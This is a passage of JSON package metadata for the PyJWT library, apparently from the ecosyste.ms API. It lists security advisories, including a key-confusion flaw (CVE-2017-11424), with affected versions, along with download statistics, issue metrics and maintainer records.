2.4.0"}],"purl":"pkg:pypi/pyjwt","statistics":{"dependent_packages_count":1012,"dependent_repos_count":34706,"downloads":762306465,"downloads_period":"last-month"},"affected_versions":["1.5.0","1.5.1","1.5.2","1.5.3","1.6.0","1.6.1","1.6.3","1.6.4","1.7.0","1.7.1","2.0.0","2.0.0a1","2.0.0a2","2.0.1","2.1.0","2.2.0","2.3.0"],"unaffected_versions":["0.1.1","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","0.2.0","0.2.1","0.2.3","0.3.0","0.3.1","0.3.2","0.4.0","0.4.1","0.4.2","0.4.3","1.0.0","1.0.1","1.1.0","1.3.0","1.4.0","1.4.1","1.4.2","2.4.0","2.5.0","2.6.0","2.7.0","2.8.0","2.9.0","2.10.0","2.10.1","2.11.0","2.12.0","2.12.1","2.13.0","2.14.0","2.15.0","2.15.1"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZnFqLTZmcXItOWgyNM4AArBb/related_packages","related_advisories":[{"uuid":"CVE-2022-29217","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2022/29xxx/CVE-2022-29217.json"},{"uuid":"ALPINE-CVE-2022-29217","source_kind":"osv","url":"https://security.alpinelinux.org/vuln/CVE-2022-29217"},{"uuid":"PYSEC-2022-202","source_kind":"osv","url":"https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffqj-6fqr-9h24"},{"uuid":"DEBIAN-CVE-2022-29217","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2022-29217"}]},{"uuid":"GSA_kwCzR0hTQS1yOWp3LW13aHEtd3A2Ms4AAR9d","url":"https://github.com/advisories/GHSA-r9jw-mwhq-wp62","title":"PyJWT vulnerable to key confusion attacks","description":"In PyJWT 1.5.0 and below the `invalid_strings` check in `HMACAlgorithm.prepare_key` does not account for all PEM encoded public keys. Specifically, the PKCS1 PEM encoded format would be allowed because it is prefaced with the string `-----BEGIN RSA PUBLIC KEY-----` which is not accounted for. This enables symmetric/asymmetric key confusion attacks against users using the PKCS1 PEM encoded public keys, which would allow an attacker to craft JWTs from scratch.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-05-13T01:42:19.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2017-11424","https://github.com/jpadilla/pyjwt/pull/277","http://www.debian.org/security/2017/dsa-3979","https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2017-24.yaml","https://github.com/advisories/GHSA-r9jw-mwhq-wp62"],"source_kind":"github","identifiers":["GHSA-r9jw-mwhq-wp62","CVE-2017-11424"],"repository_url":"https://github.com/jpadilla/pyjwt","blast_radius":0.0,"created_at":"2022-12-21T16:11:59.671Z","updated_at":"2026-11-14T06:15:45.795Z","epss_percentage":0.01789,"epss_percentile":0.78644,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yOWp3LW13aHEtd3A2Ms4AAR9d","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yOWp3LW13aHEtd3A2Ms4AAR9d","affected_repository_urls":[],"packages":[{"ecosystem":"pypi","package_name":"pyjwt","versions":[{"first_patched_version":"1.5.1","vulnerable_version_range":"\u003c 1.5.1"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yOWp3LW13aHEtd3A2Ms4AAR9d/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2017-11424","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2017-11424"},{"uuid":"CVE-2017-11424","source_kind":"osv","url":"http://www.debian.org/security/2017/dsa-3979"}]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/pyjwt","docker_dependents_count":1544,"docker_downloads_count":734216805,"usage_url":"https://repos.ecosyste.ms/usage/pypi/pyjwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/pyjwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":true,"issue_metadata":{"last_synced_at":"2026-11-16T13:41:53.804Z","issues_count":175,"pull_requests_count":277,"avg_time_to_close_issue":14225130.866141733,"avg_time_to_close_pull_request":3371855.4136363636,"issues_closed_count":127,"pull_requests_closed_count":219,"pull_request_authors_count":118,"issue_authors_count":171,"avg_comments_per_issue":3.8971428571428572,"avg_comments_per_pull_request":0.9566787003610109,"merged_pull_requests_count":173,"bot_issues_count":2,"bot_pull_requests_count":85,"past_year_issues_count":25,"past_year_pull_requests_count":92,"past_year_avg_time_to_close_issue":2987234.1428571427,"past_year_avg_time_to_close_pull_request":4110309.2083333335,"past_year_issues_closed_count":7,"past_year_pull_requests_closed_count":48,"past_year_pull_request_authors_count":50,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.4,"past_year_avg_comments_per_pull_request":0.5434782608695652,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":21,"past_year_merged_pull_requests_count":34,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"jpadilla","count":9,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"},{"login":"auvipy","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"dlorenc","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/dlorenc"}],"active_maintainers":[{"login":"jpadilla","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"},{"login":"auvipy","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyjwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyjwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyjwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyjwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyjwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyjwt/codemeta","maintainers":[{"uuid":"jpadilla","login":"jpadilla","name":null,"email":null,"url":null,"packages_count":15,"html_url":"https://pypi.org/user/jpadilla/","role":null,"created_at":"2023-02-04T17:39:50.521026Z","updated_at":"2023-02-04T17:39:50.521026Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/jpadilla/packages"}]}